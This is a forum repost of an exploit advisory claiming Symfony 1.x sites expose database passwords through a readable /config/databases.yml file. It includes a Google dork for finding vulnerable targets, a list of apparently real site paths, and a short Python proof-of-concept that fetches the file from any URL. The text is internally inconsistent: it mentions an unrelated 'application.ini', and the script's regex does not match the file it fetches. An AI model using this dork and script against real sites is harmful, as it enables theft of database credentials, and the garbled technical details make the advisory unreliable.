Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure

  1. 4 months ago
    Edited 4 months ago by Men in Black

    h51.png

    Symphony Project sfDoctrinesfPropel version 1.x suffers from a database password disclosure.

    MD5 | 9a8a06f446c1fb4b7fb55cdd08815a33

    Download => spsfdoctrinessfpropel1x-disclose.txt

    ######################################################################
    
    # Exploit Title : Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure
    # Author [ Discovered By ] : KingSkrupellos
    # Team : Cyberizm Digital Security Army
    # Date : 10/05/2019
    # Vendor Homepage : symfony.com
    # Information : symfony-project.org/reference/1_4/en/07-Databases
    # Software Versions : 1.x and All Versions
    # Tested On : Windows and Linux
    # Category : WebApps
    # Exploit Risk : Medium
    # Google Dorks : class: sfDoctrineDatabase inurl:/config/databases.yml
    # Vulnerability Type : 
    CWE-16 [ Configuration ]
    CWE-200 [ Information Exposure ]
    CWE-538 [ File and Directory Information Exposure ]
    # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
    # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
    # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
    
    #####################################################################
    
    # Impact :
    ***********
    Symphony Project sfDoctrinePropel 1.x configuration file may potentially disclose 
    sensitive information to remote attackers.
    The username and password of the database may be obtained trough the "application.ini" file.
    This is going to have an impact on confidentiality, integrity, and availability.
    The configuration file unintentionally stored in /config/databases.yml
    HTTP requests consisting of a single character will cause the software to disclose sensitive 
    configuration information, including the password/database to the administrative web interface.
    This file is installed, by default, with world readable and possibly world writeable permissions enabled. 
    This may have some potentially serious consequences as the configuration file 
    also stores password information in plain text.
    This issue occurs because access controls on configuration files are not properly set. 
    An attacker can exploit this issue to retrieve potentially sensitive information. 
    Attackers can access config file via URL request. This may aid in further attacks. 
    The access to the /configs directory should be restricted with an adequate 
    countermeasure by the use of a .htaccess file.
    * The product stores sensitive information in files or directories that are accessible to actors 
    outside of the intended control sphere.
    * An information exposure is the intentional or unintentional disclosure of information to an actor 
    that is not explicitly authorized to have access to that information.
    
    #####################################################################
    
    # Database Configuration File Disclosure Exploit :
    *******************************************
    /config/databases.yml
    
    /PATH/config/databases.yml
    
    /becados1/config/databases.yml
    
    /ganaton/config/databases.yml
    
    /listing/config/databases.yml
    
    /srp/config/databases.yml
    
    /tauri/tauriExpeditions/exped/config/databases.yml
    
    /mayotte/config/databases.yml
    
    /economicos/config/databases.yml
    
    Information :
    *************
    class: sfDoctrineDatabase
    dsn:      pgsql:host=[IPADDRESS];dbname=becas
    username: 
    password: 
    
    class:  sfPropelDatabase
    param:
    phptype: mysql  # Database vendor
    hostspec: 
    database:          
    username: 
    password: 
    
    Exploit - Proof of Concept  :
    **************************
    #!/usr/bin/python
    import string
    import re
    from urllib2 import Request, urlopen
    disc = "/config/databases.yml"
    url = raw_input ("URL: ")
    req = Request(url+disc)
    rta = urlopen(req)
    print "Result"
    html = rta.read()
    rdo = str(re.findall("resources.*=*", html))
    print rdo
    exit
     
    #####################################################################
    
    # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 
    
    #####################################################################
 

or Sign Up to reply!